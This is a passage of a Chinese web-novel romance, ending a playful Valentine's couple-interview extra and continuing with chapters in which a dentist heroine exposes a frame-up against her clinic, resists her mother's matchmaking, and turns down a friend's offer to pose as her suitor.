37:两人在一起时最让你感到心跳加速的事情是?
苏:他挺身而出英雄救美,很浪漫是不是?
萧:拔牙的时候……笑什么?!你拔牙心不跳吗?(张牙舞爪)
38:你曾向对方撒过谎吗?你善于撒谎吗?
苏:没有,我很诚实哒。
萧:……有(超小声),骑虎难下能叫善于吗?
苏:(意味深长)噫
萧:(讨饶作揖)
39:什么时候觉得最幸福?
苏:很多时候,成功拔牙啊,得到认可啊,帮到别人啊……
萧:和她在一起的时候
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。
40:曾经吵过架吗?
苏:嗯,算是吵过吧
萧:没有!
41:都是些什么样的吵架呢?
苏:意见不一样总会争论两句吧
萧:那怎么能叫吵架呢?我们没有吵过架!(炸毛)
42:之后如何和好呢?
苏:好好好(安抚)
萧:嗯,就这样。(被安抚)
43:转世后还希望做恋人吗?
苏:希望
萧:很希望,我们转世后一定还是恩爱夫妻!
44:什么时候觉得自己被爱着呢?
苏:虽然有点凡尔赛,但是…嘿嘿,每时每刻都觉得。
萧:在一起后,她注视我的时候,陪在我身边的时候。
45:什么时候觉得也许他已经不在爱我了……?
苏:暂时还没有哦。
萧:她不理我的时候(低落,可怜巴巴状)
46:你爱情的表现方式是?
苏:和爱人如同两棵乔木,并肩沐浴阳光雨露,枝叶相覆,根须相连。
萧:(感动,星星眼)泥水相和,重塑你我。
47:两人之间有相互隐瞒的事情吗?
苏:有,秘密
萧:有……过。
48:你的自卑感来源于?
苏:没有这东西
萧:哼,没有
49:两人的关系是公认还是机密?
苏&萧:公认
50:你觉得与对方的爱是否能持续到永远呢?
苏&萧:能
51:请问你是主动方还是被动方?
苏:这个要看情况吧(欲言又止)
萧:我,我主动!(勇敢挺身)
52:为什么如此决定?
苏:水到渠成?(挠头)
萧:咳…有情人咳…做快乐事咳…就这样嗯…(结结巴巴)
53:对现在的状况满意吗?
苏&萧:满意
54:初次H的地点是?
苏:结婚后
萧:问这些干什么?(凶)
55:当时的感想是?
苏:就挺H…ao…
萧:(站起,拉起苏颜妍想离开)可恶!老婆我们不要告诉它…我要找人把它捉住严加拷问…来人!
由于被采访者十分抗拒,场面一度混乱,主持人好奇与当事人萧景琮进行了一场激烈的武斗,夫妻相性提问的56——99问被迫中止。
经苏颜妍拉架安抚,最终情人节特辑奉上最后的结局:
100:最后,请对恋人说一句话吧!
苏:好了,我们把这些提问留到晚上,我和你,我们两个人慢~慢~说~(啾咪~)
萧:好的,老婆。我们这就回家吧,老婆!
P.s.
【作者君:祝大家情人节快乐~~?(????`)比心】
24. 哎呀好巧
回春堂,苏夫人罕见的出现,等苏颜妍回到医馆,她立刻招呼:“妍娘,你来,娘有事问你。”
她一脸后怕,将钱婆子之前的事情尽数说出,末了问:“我听说,今日官府又险些来捉你,是真的吗?”
这些事,苏颜妍已经从萧景琮那边知道的七七八八。苏夫人能这么快反应过来,肯定又是有人给她递消息。
苏颜妍问道:“官差今日确实去了齐家,捉走的是齐大郎和林玉珠。与我有什么干系?娘在家里,又是谁给你传的话,三不着两的,让你担心?”
苏夫人长舒口气,道:“没事就好,大概是钱婆子听错了。我一时着急,也没有仔细问她。”
苏颜妍心中暗忖:钱婆子听错了?那可未必。这位走东窜西的妇人,与齐、林二人,必定有关联。就是不知他们之间,有什么钱财交易。
她对苏夫人说道:“今天和小桃一起,可是看了一出闹剧。那位齐大郎,背后竟然和济世堂的林娘子一起,指控咱们给的银子和叛党有关系呢。这和上次荷包事件,同出一人手。娘,咱家这银子,是钱婆子经手的。如果不是仲景提醒,我这次真要被陷害了。”
苏夫人搅紧手中帕子,脸色灰白:“钱婆子与我们无冤无仇,手段竟如此狠毒。枉我将她当成好人,她这是把我当成什么。娘真是没用,总想着要帮你点什么,最后却是因为我,差点害到你。”
苏颜妍柔声道:“娘,咱们正人君子,行得正坐得直,哪里需要为这些小人自责。知道她不好,日后咱们留心,不叫她上门就是了。这会儿,她且心虚着呢,害人的,天上落个雷他们也是要怕的。”
苏夫人落下泪来:“以前你父亲在,哪里见过这些小人。怎么这会儿,咱们娘俩总这样倒霉,招惹这些冤家。”
苏颜妍也是叹气,可不是么,自打她来这里,事情是一桩接着一桩,总有那么些人,把她当成软柿子,试图捏她一捏。
她说道:“这会儿消息肯定传得到处都是,钱婆子消息灵通着呢,不会不知道她的下作手段失败了。我有心找她询问原因,娘你说,是让她来咱们家还是去找她合适?”
苏夫人惊讶道:“妍娘还要去找她?”
苏颜妍点头:“这陷害一事,她与齐大郎等人必定合谋。如今齐大郎已经下狱,供出她也只是时间长短的事情。咱们是苦主,找她问一下,她不敢再多做什么的。”
事实上,不光是不敢再做什么,她还会求爷爷告奶奶,希望苏颜妍能捞她一把。
苏颜妍一句话,能决定她是否能脱罪,钱婆子精着呢。
苏夫人犹豫着说:“娘原本是想着,她手里人脉广,你也到了婚龄,请她帮忙留意着合适的。如今,娘是万万不敢找她的,也不想她再来家里。”
“啊?”苏颜妍呆住:“娘,你还暗地里给我搜罗相亲人选呐?”
“那是当然,男大当婚女大当嫁,小桃比你都小,不也定亲了?虽说齐大郎不是个好的,但城中男子多的是,咱们先挑选着,合适再见见。”苏夫人说起这个,腰也不酸了,腿也不疼了,声音都抖擞了。
她不懂什么医术、事业,也搞不懂算计阴谋,一片慈母心,都想着女儿岁数到了,合该见见适龄男子,培养感情成就天伦。
苏颜妍头大,赶忙找借口脱身:“既然娘不想见钱婆子,我这就到她家去找她。这件事早点弄清楚,我心里也有底。娘,我先走了。”
苏夫人急道:“妍娘,那你喜欢什么样的男子啊?娘好找人帮你相看呀。”
苏颜妍快快快快溜走:“娘你自己帮我看着办……”
话音落,人已经一溜烟不见了。徒留苏夫人伸着胳膊,无奈抱怨:“这孩子,这会儿倒害羞上了,唉。”
溜走的苏颜妍,无头苍蝇似的,一下子扎进萧景琮呆的屋子里。
她急匆匆地招呼着:“仲景,咱们走,去找钱婆子和她好好谈谈。林玉珠和齐大郎如此算计我,我一定不能让他们轻易脱身。”
萧景琮应和道:“打蛇不死,必有后患,是该斩草除根。”
“我就是觉得,做坏事总要付出代价,哪能轻飘飘让他们揭过去。这次让他们得逞,我家可真要完蛋了。我担心没有铁证,皇城司不好断案。咱们去找钱婆子,让她出面老实交待,这样林玉珠就算背靠济世堂,也不能再凭借家里的关系免罚。”苏颜妍皱皱小鼻子,道:“还有白延琅,一直没有消息,我真担心林玉珠就是因为白延琅私下鼓动,才干这种缺德事。”
萧景琮站起身,手中折扇打开又合起,他和苏颜妍一起往外走,到了门口,招手示意停靠在街边的马车上前:“走吧,你想做什么,我总会和你一起。”
“哇哦,感谢大佬,你这样说,好有气概哦!”苏颜妍欢喜小跳,又轻盈又活泼。
萧景琮单手挑起马车门帘,挑眉看着她道:“上车。”
马儿甩着尾巴,在夏日街道上哒哒的小跑。车厢内,风吹窗帘,吹的光线明灭,一阵亮一阵暗。
苏颜妍好奇打量,啧啧称奇:“这里和上次出门的布置完全不一样了唉。是换了陈设还是换了车厢啊?”
“之前是夏初,现在是夏中。如果还是用之前的摆设,不免显得闷热。我让他们把案桌换成了寒冰玉质,靠着它,再久也不会炎热。你坐过来试试。”
苏颜妍伸手摸摸,果然,一阵凉意从接触的地方传来,让人心中一凉,汗意顿消。
案桌整体是玄青色,雕工了得,精美大气,就像艺术品一样。让她感觉应该把它摆设在博物馆里,而不是做日常使用。
“真的好神奇,还有这种能自己降温的玉啊。那用它打一个柜子,是不是可以当保温箱?”
“保温箱?做什么用?”萧景琮问道。
“放一些容易因为高温变质的东西。”苏颜妍比划着,给她讲冰箱的形制。
萧景琮听后,心中慢慢明白她的意思:“你说的,倒像是小一些的冰库。你需要吗?我可以让人给你建一栋,冰你不需要担心,我会提供。整个夏天你都不用害怕炎热。”
苏颜妍惊叹:“空调屋雏形,厉害。你家里到底多有钱,能在夏天找到这么多冰。我有一些调制的药膏,天气太热会变质。如果能有低温的冷库放置,那太有用了。”
“药膏是用来预防牙齿疾病的,如果没有安南叛党的事,我和小桃
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早就一起出去调研,安排发放给需要的人了。现在,囤积在医馆里,还要担心高温药物变质,真是麻烦。”
林玉珠和齐大郎真是太讨厌了。
萧景琮听她嘟嘟囔囔说着原本的计划,听到和别人一起就皱着眉,他按捺住心中升起的淡淡酸意,待她抱怨完,故作平静道:“以后你想要做什么,可以直接找我和你一起。我有本事,比任何人都有用。我们两个一起出去,做什么都能成功。”
苏颜妍噗嗤笑出来:“你那时候不在呀,我总不能跑到你家里,不由分说把你拉出来,让你陪着我吧。小桃也不是时时刻刻都在我身边啊,她定亲后大部分时间都是呆在家里的。”
“唉,定亲真烦人,干什么都不方便。我娘刚刚还找我说,要给我相亲呢。吓得我当场跑路,为什么我才十九,就要相亲嫁人呢。”
萧景琮雷达滴滴响起,他不动声色探问道:“哦?你娘已经给你相看人家了?找的什么人,我帮你查一查,你知道的,我手下人很有用。”
这算是什么重点?
苏颜妍纳闷地看他一眼,她本想吐槽一下,谁知萧景琮注意力完全和她想的岔开了。
难道这个时代,她这个年纪,相看是正常的?连一向与她想法契合的仲景都不觉得相亲有问题,那她还真不能继续暴露心中超前的思想了。
苏颜妍开始随口胡诌:“啊,现在只是准备阶段,看看周边合适的人家,用不着查。等我看中了,再麻烦你啊。”
“哦?看样子,你已经有心动的条件了?不然你娘怎么帮你准备呢?”萧景琮继续问,嗓音凉如水。
“呃…”苏颜妍满头大汗,半点没听出他声音已经有些紧绷。
她眼神闪烁,各种相亲段子在脑子里呼啸而过,她敷衍道:“条件哦,有车有房,父母双亡,出得厅堂,入得厨房…啊呸呸呸…”
不好,把吐槽段子秃噜出去啦!
她小手捂住自己的嘴巴,恨不得给自己脑袋两下。
钱婆子家怎么还没到啊,这段路,有点漫长到煎熬了。
萧景琮正聚精会神留意着,听到她的话怔了怔,清了清嗓子,小声嘀咕道:“厨房,我倒是还没进去过。回…试试…”
“什么?”苏颜妍纳闷看他。是天气原因吗?怎么他脸上有些红?
“嗯,钱婆子家到了。”萧景琮稳住声音,正好马车停了,他带着点急迫,从马车上跳下:“咱们进去吧。”
苏颜妍往外一看,果然,不知不觉间,已经到了目的地。
她把心中微妙的小疑惑挥走,扶着萧景琮的手下车。
钱婆子家大门紧闭,街上不见一个人影。苏颜妍左右打量,凝神听了听声音,过了一会儿,她勾起嘴角,对萧景琮说道:“她家里有人活动,咱们去敲门。”
萧景琮挑了挑眉头,手执折扇,走近大门,抬脚踹到门板上。
“砰”的一声,厚重的门板断成两截,钱婆子大包小包背在身上,一副要跑路的模样,愣在碎裂的门前满脸惊恐。
苏颜妍从萧景琮身后探出脑袋,看了看她,笑眯眯道:“哎呀~好巧!”
妖怪,哪里跑!
25. 若有所思
苏颜妍来的及时,钱婆子跑路未果,被堵个正着。
她看着暴力破门的萧景琮,以及冲她嘿嘿冷笑的苏颜妍,眼睛一翻,险些晕倒。
“哟哟哟,可不兴碰瓷。钱婆子,你这一倒下,醒来就是皇城司大牢里啦。”苏颜妍满脸坏笑,故意恐吓她。
萧景琮在一旁,配合着露出一副冷冰冰看死人的样子,直把那婆子看的摇摇欲坠,硬挺着没躺到地上。
钱婆子灰白着脸,对苏颜妍说道:“苏姑娘,我不是故意要害你的。求你放我一马吧。我上有老下有小,往日和苏夫人一起,也是尽心尽力丝毫没有怠慢。您饶了我这次吧!”
苏颜妍可没被她三言两语求饶话打动,她深知如果不是萧景琮在,这个狡诈的婆子早就躲起来,哪里会对被骗的苏夫人和被坑害的她有一点点愧疚。
现在她低三下次,也只不过是见风使舵,看人下菜碟儿。
这种小人,再标准不过,只会对利益和威胁低头。
正好,她掐着对方的七寸,可以让她乖乖呆着,老实交待前因后果。
想到这,苏颜妍也没再浪费时间:“钱婆子,你也知道自己做了恶事,现在陷进泥里啦。齐大郎和林玉珠已经被捉走,供出你来,也不过是早晚的事情。”
“你老实告诉我,他们找你是怎么说的?那银子,林玉珠说上面有叛党的标记,是你和叛党有勾结吗?如果是你的话,那你可惨了,搞不好九族都要遭殃啊。”
苏颜妍说完,故意作态倒退几步,满脸同情:“听说你家还有个刚出生没几个月的小孙孙,唉,可怜的孩子,也不知是来人间遭什么罪,遇上这桩祸事。”
她暗暗观察钱婆子,之前她被堵,虽然言语哀求,可神情还能看得出是有一丝底气在的。现在她掐着她的家人一诈,果然引得对方心虚悔恨。
钱婆子涕泪直下:“这事是老婆子我鬼迷心窍做下的,姑娘千万别牵连我家孩子。那银子是齐大郎给我的,我哪里敢和叛党沾一点点。杀千刀的齐大郎,他只告诉我把银子给送到苏夫人手里,会额外给我银钱,哪里想得到他给的是反贼的银两!若是我知晓,婆子我天打雷劈也不敢沾手啊!”
她这会儿哭得情真意切,苏颜妍和萧景琮对视一眼,彼此心知她说的是实情。
苏颜妍有些可怜她,看着她说道:“那你可知,齐大郎何处得来的银两?你现在哭得惨,皇城司将你捉拿归案,你哭的更惨也没有人去救你。若你将自己知道的说出来,或许还能找到自保的办法。”
钱婆子哭声一咽,哽了一下:“这,我哪里知道齐家和林家的事啊,苏姑娘,你行行好,帮帮我吧。”
萧景琮冷笑道:“这会儿知道求好心人了,你害人时怎么不想想。听苏夫人说你在城中保媒拉纤,消息灵通着呢。纵使不知道具体安排,他们两家的风声你总能摸着一星半点。现在都要大难临头了,还在这儿耍滑头。你以为你这点小心思,能蒙骗得了谁!”
苏颜妍闻言一怔,打量了钱婆子一眼,无语至极。
这家伙,还真会装,差点骗到她。
可不是么,钱婆子虽是小人,可小人才灵活,惯会见风使舵的。
齐大郎找她当中间人挖坑陷害栽赃,钱婆子贪财归贪财,这种有风险的事情,必定会留一手自保。
她探身从钱婆子身上拽下一个包裹,上下甩动,语气变得不耐烦:“想下大牢早说啊,浪费我们的时间。仲景,咱们这就去官府告发她,让她带着一肚子算计和阎王爷说去吧。”
“苏姑娘啊——”钱婆子一看她转身就要走,连滚带爬扑到苏颜妍跟前:“我说我说,我什么都说,你别去求求你了——”
萧景琮虚虚搂抱住苏颜妍的肩膀,很自然地和她交换位置,挡在她面前。他周身气势凌厉,钱婆子畏畏缩缩,不敢上前。
钱婆子低下头,双手无力垂下,将自己知道的一一道来:
“那天,我正要出门去北城,干我们这行的,给人介绍合适人选,手头的适龄男女也要更新。北城新到几家人家,正有妙龄未婚的女子呢。没等我出去,齐大郎到了我家……”
“钱婆子,哪去啊?”齐大郎挤出话,笑嘻嘻招呼道。
钱婆子呦了声:“什么风把齐少爷吹来了?我这正要去替人相看,怎么,你这是想要再找个合适的?”
她干的就是东家西家的活计,消息灵着呢,齐大郎定亲农家女,还被人嫌弃要退亲的事儿,她老早就听说了。
齐大郎啐了声:“我有的是人选,这次找你,是给你送钱来着。怎么着,这个数,干不干?”
他手指捏出个数字,在钱婆子眼前晃了晃:“银子。”
钱婆子眼馋:“哎呀,赚钱谁不喜欢。你倒是说说,要我干什么?伤人害命我可不干的。”
有命赚也得有命花。
齐大郎嘿嘿一笑:“放心吧,事情很简单。我这里有些银子,你想法子,把它们送进回春堂苏家人手里。事成后,这白花花的银子,保证送到你家中。”
“真是奇了,这年头,还有费尽心思给人送钱的。这些银子哪来的?别是有什么人命官司吧?你说清楚,不然老婆子我不敢沾手。”
“嗐,真是服了你这老东西。我告诉你,这银两,是济世堂林家出的。你信不过我齐大,还信不过济世堂吗?出去打听打听,我也是受人家委托来办事的。我都不怕,你怕什么。”
“那就好那就好,这事包我身上,您就准备银钱等我好消息吧。”
——
钱婆子喘了几口气,说道:“苏姑娘,事后我也打听过了,齐大郎确实是从林家取的银两。我也没想到,那些银两是有叛党印记的。我真没想害人,你帮帮我吧!”
苏颜妍右手握拳砸了左掌一下,牙痒痒的:“可恶,竟真的是林玉珠。她疯了吗,为了白延琅,连叛党都敢沾上。”
萧景琮轻轻拍了拍她,桃花眼中满满的全是她:“别与小人置气,他们算计你,不会有好下场的。我盯着他们呢,别气别气。”
他转头俯视趴在地上的钱婆子,温柔如雪消融,只余凉意:“将这话原原本本交待给皇城司,你没有撒谎,他们会放你出来。别耍花样,明白吗?”
钱婆子连连点头:“明白,我会和大人说清楚,不敢逃跑了。”
“只是…”她抖了抖,偷偷觑了苏颜妍一眼:“苏姑娘,我招供了,济世堂林家会不会针对我啊,我真是怕啊,您大人大量,给我一条明路吧。”
苏颜妍拉着萧景琮转身就走:“明知是一滩烂泥,你非要去沾。如今能
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有保住性命的法子,你还想得寸进尺,赖上我不成?林家真要针对你,你自己担着吧。”
萧景琮被拉住手,身体一僵,瞬间变成木头人。
苏颜妍往外走,一拉他,居然没有拉动。她抬头看过去,噗嗤笑出来。
“走啦,木头人。”她声音如同含着蜜糖,丝丝缕缕甜意弥漫,所有遭遇的无奈气愤郁气一扫而空。
有了人证物证,皇城司很快清查了齐家和林家。经过审训搜查,号称是安南叛党印记的银两是林玉珠出于私心,亲自打上标记,与叛党并无干系。济世堂林有仁因此逃过一劫,却元气大伤。
至于齐大郎与林玉珠二人,虽然与叛党没有关联,却因污蔑陷害他人,证据确凿,被判处监禁半年并处罚款。
钱婆子主动投案自首,当了污点证人,缴纳罚款后放回家。
苏颜妍跟着萧景琮,旁听了一审二审终审判决,对景朝断案的法律流程有了新的认识。
“原来官府还挺公正的,比我想象中的好很多。”她小小声和萧景琮说道:“我原先以为官府里的人都高高在上的,没有钱就挨揍,有钱就要收钱的那种。”
萧景琮:……
他无奈地点点她:“口无遮拦,这些话也能乱说。让别人听到会容易招惹是非的。”
苏颜妍皱皱鼻子:“我只和你说啊,才不会给其他人讲呢。怎么,正义人士要大义灭亲吗?”
萧景琮拿她一点办法也没有:“我要是大义灭亲,刚才就不会帮你说话。”
刚刚在衙门里,齐大郎和林玉珠被钱婆子告发,开启疯狗乱咬人模式。看到苏颜妍,又开始神志不清扯出回春堂器材不正规云云,恨不得咬下苏颜妍的肉。
这次萧景琮在,都没用苏颜妍回怼,就挺身而出,派人请来打造器具的工匠数人。从图纸到匠人到成品,一一呈现在众人面前。
林玉珠这才恍若梦醒,她愣愣看着苏颜妍,失去所有力气,嘴里喃喃道:“真的是她?怎么可能?我不相信…是假的…”
齐大郎破口大骂:“你都不清楚人家真正的本事,就安排这算计那的,害人害己,我真是倒了大霉才信了你的鬼!林玉珠,你这个丧门星。”
两人被衙役拖走的时候,都在互相怨怼,骂声不断。
苏颜妍想着想着叹了口气:“这事了了,我心里却总不得劲。林玉珠他们罪有应得,我还是有些可怜她。只是创新外科医疗工具而已,她不认识,不理解。如果知道这些工具,了解我真正擅长的口腔科,她不会用这样的方法来冒犯我的。”
萧景琮不认同:“心性不正,就算这次知道,待着有机会,她还是会继续害人的。这和器具没关系,和你更没关系。”
苏颜妍点点头,若有所思。
她对萧景琮说道:“你说,我改革一下回春堂,给大家普及口腔医学知识,让大家多熟悉一些基本知识,这样的事情是不是会减少?我忙得很,哪有功夫去联系什么叛党逆党。人多,盯着我的人就多,反而能让我们更安全。”
“还有那些器材,普及后,知道的人多了,用的人多了,也就不稀奇。说不定,官府还会来认可这些器具的作用呢。”
萧景琮看她亮亮的眼睛,神采飞扬的样子,勾唇点头应道:“好,都依你。”
26. 应对相亲的法子是
城里出了件奇葩事,牵连了两个颇有名声的医馆,并四户有名有姓的人家。搭着清查安南叛党的风,让城中百姓多了往来谈资。
“欸,听说了没?回春堂的苏姑娘又摊上事了!”
“你这消息也太落后了,我刚从衙门回来,是济世堂的林娘子出事了!”
“是林娘子伙同齐大郎陷害苏姑娘呢,你们都搞错了。我打从齐家退亲就凑过去看的,嘿,也不知道林家怎么会掺和到里面,难道是为了白延琅?”
“苏家这事一件接一件,要我说,苏夫人该找个庙拜拜了。搞不好是沾了晦气,冲撞了什么东西呢。”
“也是哈,从苏郎中活不见人死不见尸,他们家就没安稳过。苏姑娘落水,白延琅争医馆,找不到坐诊大夫,官差上门搜查,一直到这次林齐两人栽赃。啧啧啧,真不容易,一般小娘子早就垮了,哪里撑得住。”
“哈哈,一般小娘子也接不了家业,你放眼整个京城,有哪家独女日子过得和苏姑娘似的?女户哪是那么好当家的!”
“可不是,要不怎么家家户户都求神拜佛生男丁呢。女人啊,就是有本事,是非也多……”
街上三三两两凑成堆的人散去,空余夏日蝉声声嘶力竭喊着“知了知了”。
苏颜妍手掐一把团扇,鹅黄薄衫搭配同色罗裙,嫩的如同颤巍巍刚出水的芙蓉,半倚半靠在胡椅上。
苏夫人坐在她左侧,隔着方桌,蹙着眉头,两条柳眉细细弯弯,衬得眼睛欲语还休。
苏颜妍小幅度摇动着团扇,恨不得把热空气,连同苏夫人推荐的相亲对象甲乙丙丁,一起全部扇出去。
自从了结齐、林陷害案件后,她就着手准备改革回春堂。
传统医馆改成专科医馆,是一件繁琐且耗费脑子的事情。天本来就热,好不容易挤出点时间回家里歇歇,还被苏夫人堵住,试图让她相亲。
前脚刚有小桃定亲的悲催遭遇,苏夫人怎么敢放心让她去找对象的啊?
当真不怕遇人不淑吗?
女孩子青春年少,正是拼事业的时候,哪能把心思放到儿女情长上嘛!
苏夫人往日的柔弱依从,现在全数变成了坚韧的绳索:“妍娘,这些都是很好很好的男子,家中我都一一了解过,你先去试试看一看。咱们也不是立刻就定下,可以先选着,处着不错再定下啊。”
“娘!我这会儿忙着呢,医馆多少事等着我安排,哪里就非得现在去见他们。等我把医馆改革的事情理顺了再说吧。”苏颜妍脸上写满了拒绝:“我不要去,让他们走开啦。”
“你这孩子,真是一副没长大的样子。”苏夫人叹了口气,起身踱步走到她身边,轻轻拍了拍她:“男大当婚女大当嫁,你已经十九啦,医馆放在那里,什么时候改都随你,你的花期可不等人。现在不着急找人家,后面成了老姑娘,想找都找不到啦。”
“老姑娘怎么了,我一个人也可以生活的很好啊。”苏颜妍抱着苏夫人的一条胳膊,也不嫌热了,粘牙糖一样贴在她身上:“娘,你听我的,先别管什么相看了。你说我把医馆改成牙科专属,专门教授有心学习的人,推广科学知识,咱们医馆日后也是岐黄谷那样让人向往的地方,是不是非常有成就感?”
苏夫人无奈:“娘哪里懂得什么课什么学,当时让你顶门立户撑家业,真不知是对是错。你不想去相看,那便不去。就是可惜这些好人家,他们不会一直等着你。若是日后你后悔,娘可没办法给你再找回来。”
她到底没忍心逼迫自己的独女,这些时日她也算看出来了,这个孩子是个有主意的。她自己不同意,谁来也没用。
她改口说其他的话题:“娘在家里,收到一封老家的信。信里说,你表叔家小郎君,要上京来求学呢。等他们到了城里,少不得来医馆拜访。”
苏颜妍惊诧道:“我怎么不知道老家还有表叔?咱们家老家还有亲戚吗?”
她怎么记得之前旁敲侧击打听过,爹娘两边都没啥亲族来着,所以她一个独女才被白延琅压制的艰难,差点挂掉,家产都被抢走。
苏夫人点头:“我和你爹岐黄谷山下一呆十多年,来京城定居也有一十九年。老家长久不走动,确实没什么亲人了。这次来的,是当年同村相好不错的人家。与我们实际没有血缘关系,你称一声表叔,也就算多个帮衬了。”
“如果他家小郎君真能学成考中,你也多个人脉靠山。等他们来家里,你记得回来见一见,不要失了礼数。”
“好,听娘的。现在,我可以一个人休息一会儿吗?好累哦。”苏颜妍瞬间蔫成暴晒过后的禾苗,耷拉着脑袋,准备躺平。
苏夫人满是怜爱地看着她,陪着她到卧室,帮她铺整床榻,仿佛女儿又变成了幼时模样,她们母女两人,形影不离。
“睡吧,好孩子。”苏夫人接过团扇,替她一下下扇着风:“娘这会儿,都听你的。”
团扇的风一下又一下,令人舒服,焦躁尽数散去。苏颜妍精神力渐渐涣散,沉沉进入梦乡。
夏日小憩,哪怕只有一小会儿,都能让身体重新充满力量。苏颜妍将手浸入凉水,鞠起一捧,弯腰轻拍在脸上。
行程计划了然于胸,她擦干水渍,感觉大脑恢复清醒。她抱起计划书,顶着烈日来到回春堂。
医馆里,小桃已经到了,正趴在桌子上,专注认真看着记录的工具清单。
萧景琮在隔间茶几独坐,他悠哉斟了一盏清茶,时不时喝一口。
苏颜妍一身薄汗进屋,小桃看见她跳起来喊了句“苏姑娘”,就要化身小尾巴跟在她身后。
苏颜妍赶忙制止,把手中的计划书递给她,说道:“小桃,医馆改革的方案书,你打开看看能不能懂。如果你看着没问题,我就找人安排了。”
“哦。”小桃接过簿册,翻开,专注地看。
她现在已经在慢慢学习认识常用字,能对照着图案读懂苏颜妍手写的大半内容。
打发走小桃,还有个更黏人的萧景琮。
“离开那么久,中午睡太长时间晚上会不会睡不着?我们晚上要不要出门去继续逛逛?”
“我出去玩一趟,回家立刻被我娘堵住。有时间消遣就有时间相亲,饶了我吧,我真不想现在去见那些不知道长什么样的男人。”苏颜妍头大,越过他去翻找备用衣袍。
她
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背着身,没看到身后听到她话的萧景琮黑下去的脸。
萧景琮捏得手中折扇几欲断裂,口中的话语保持稳定的平静无波澜:“哦?你要开始相亲了?苏夫人给你准备了多少人选?”
“天哪大哥,你倒是听听我的话,别从里面断章取义。我这会儿要忙医馆,没时间去相亲,已经推了啊。相看人选这些等我有时间的时候再说吧。”苏颜妍翻了个白眼,幽幽地说完,抱着找到的备用男装走进内厅,关紧了门。
“有时间的时候回相看人选?那你不会有这种时间了……”萧景琮的表情轻淡冷漠,喃喃说道。他没戴面具,锐利的眉眼下,面部细微的情绪就像日光下的浮冰,化成水前仍旧闪着凌凌棱光。
“仲景…”苏颜妍喊了一声,隔着房门的声音是打断魔法的咒语,萧景琮瞬间恢复温雅表情。
他推门走进去,应声道:“我在。怎么了?”
屋内,苏颜妍摇身一变,成了俊俏的少年郎。
一身淡青外搭月白的长襟外袍,书生帽稳稳戴在头上,文质彬彬冲他拱手作揖。
萧景琮呆了呆,回过神一转脑子就知道她这是要干嘛:“你要女扮男装出门?”
“正确地说,是要伪装。仲景,帮我吧,我真的想乔装出门做调研。我娘不会拦着我出去,但她总担心我一个女娘在外面,会影响日后找婆家。和她说不通,她的观念算是改不过来啦。”苏颜妍眼睛亮亮,拜托道:“我记得你说过,制作你戴的面具的那位大佬,现在已经到了京城对吧?可不可以……”
她俏生生的像朵玉兰花,萧景琮无法拒绝。
他想起大哥被管得死死的模样,打了个寒颤,醒过神来:“就算你想要学易容,这会儿也没时间速成。你想要苏夫人不担心,我有另外的法子。”
“啊!”苏颜妍失望的叹气,她就知道没那么容易。然后她又好奇:“你有什么法子?我娘可不是钱婆子那些人,你那套威胁恐吓的手段可不能用哦。”
“我怎么会去恐吓你的长辈?”萧景琮抖抖衣摆,顺势坐在她身边,道:“苏夫人想让你相亲,想必只是相看人选,并不是马上催你成亲。你可以找个挡箭牌顶在身前,应付一下她。”
苏颜妍喷笑:“你这叫什么鬼主意,我找个人假装情投意合,让我娘别再忙活?到哪里去找人?家世、财产、品貌,合适的还能陪我演戏?我还不如做法请老天爷给我来个天降男友呢。”
她笑了一会儿,抬眼就见萧景琮依旧气定神闲,她直起腰,狐疑道:“卖什么关子,真有人选?快点说呀!”
萧景琮折扇竖起,扇尖指向他自己,点了点:“去去不才,正是在下。”
“你?”苏颜妍花容失色道:“你不会开玩笑吧?你真要玩这么大?你家里人能同意?”
“我认真的,我能自己做主。有我在,不会有人的条件能越过我,我可以陪你做任何事。”萧景琮语气轻,语调慢,话却一字一字充满坚定力量:“你不喜欢,有我挡着,我还可以帮你隐瞒,找各种借口,没有任何人能比我做的更好……”
苏颜妍怔怔看向他,在他浅棕色的瞳孔里,看到一个小小的自己。
27. 古代男朋友
苏颜妍的心里有两个小人在吵架:
一个说:“答应他,你的确需要一个挡箭牌不是吗?仲景是一个多么合适的人选。在附近有房产,人长得英俊高大,谈吐合拍,肯定能让苏夫人满意。而且他还喜欢你,愿意听你的话,拒绝这个提议,你难道真要去和那些连面都没见过的古代男子相亲?”
一个说:“苏颜妍,你扪心自问,感情是可以欺瞒利用的吗?不要倚仗别人对你的真心,去辜负他们。你如果真的同意提议,就算能瞒得了一时,瞒得过一世吗?苏夫人以后知道你欺骗她,会比直接拒绝更伤心。而仲景,你并没有真正与他有对等的感情。不要答应他,不要做让自己后悔的事情。”
一个说:“是他自己愿意的,怎么能叫利用呢?相亲不是你想要的,挡箭牌也不是你自己提议的。只要顺水推舟,你可以省下多少事,又能多出多少便利,去做自己想做的事。”
一个说:“困难可以一点一点解决,阻碍可以一寸一寸移除,唯有感情,别去沾染和辜负。苏颜妍,永远记住你是一个有底线的人,不要越界。”
是的,苏颜妍知道萧景琮喜欢她。没谈过恋爱,不代表她没见过恋爱。她母胎单身,却从影视小说中见识过千百段恋情。她确实感受到了萧景琮对她沉甸甸的爱慕,虽然不知他为什么没有直接表白,可他甚至能俯下身,来当一个情感工具。
她如果想,真的能借着他当挡箭牌,走一条顺畅的捷径。路上的风霜雨雪,全部不需要担心,全数由他承担阻挡。
可是,她真的要这样做吗?
“仲景,不可以。”她对他说道:“我不喜欢相亲,会跟我娘说清楚的。她不会逼我,我也不会委屈自己。我很感谢你,愿意帮我出主意。我不能因为图方便,就同意你的这个法子。这样对你,并不公平。”
萧景琮没料到她居然会拒绝,身体僵住,不再动弹。是他的心思暴露了吗?她反感他,这会儿说的,是委婉的拒绝吗?他分不太清楚,只觉得血液变成了冰凉的水,一寸寸流过身体,一寸寸冷了下去。
苏颜妍现在男装示人,并不是娇柔的模样,可她的声音是轻柔的,温和的:“我现在确实没有同男子相亲的打算,也不会和他们发展感情。你是我的朋友,这点不会改变。你不要用自己的感情,来屈就自己。你值得一个真正喜欢你的人,感情很珍贵,不要让它低到尘埃里。”
萧景琮嘴比脑子快,脱口而出:“是不是你不喜欢我?你不必绞尽脑汁拒绝我,我只是想帮助你,没有其他的意思。你不用想那么多,只是假装,我自己知道,不会当真的。”
他说完,才后知后觉这话太紧绷,像是逼迫她必须回应似的。他控制身体,故作轻松地改变坐姿,换成歪歪斜斜的样子,尽管肢体仍然是僵硬的,至少他现在不再像一座凝固的石像了。
他的心开始砰砰地激烈跳动,分不清是冷汗还是热汗,浸湿后背的衣衫。他不太能分得清苏颜妍是不是看穿他的伪装,只好微微低头侧脸,悄悄用眼尾余光扫过她的身影。
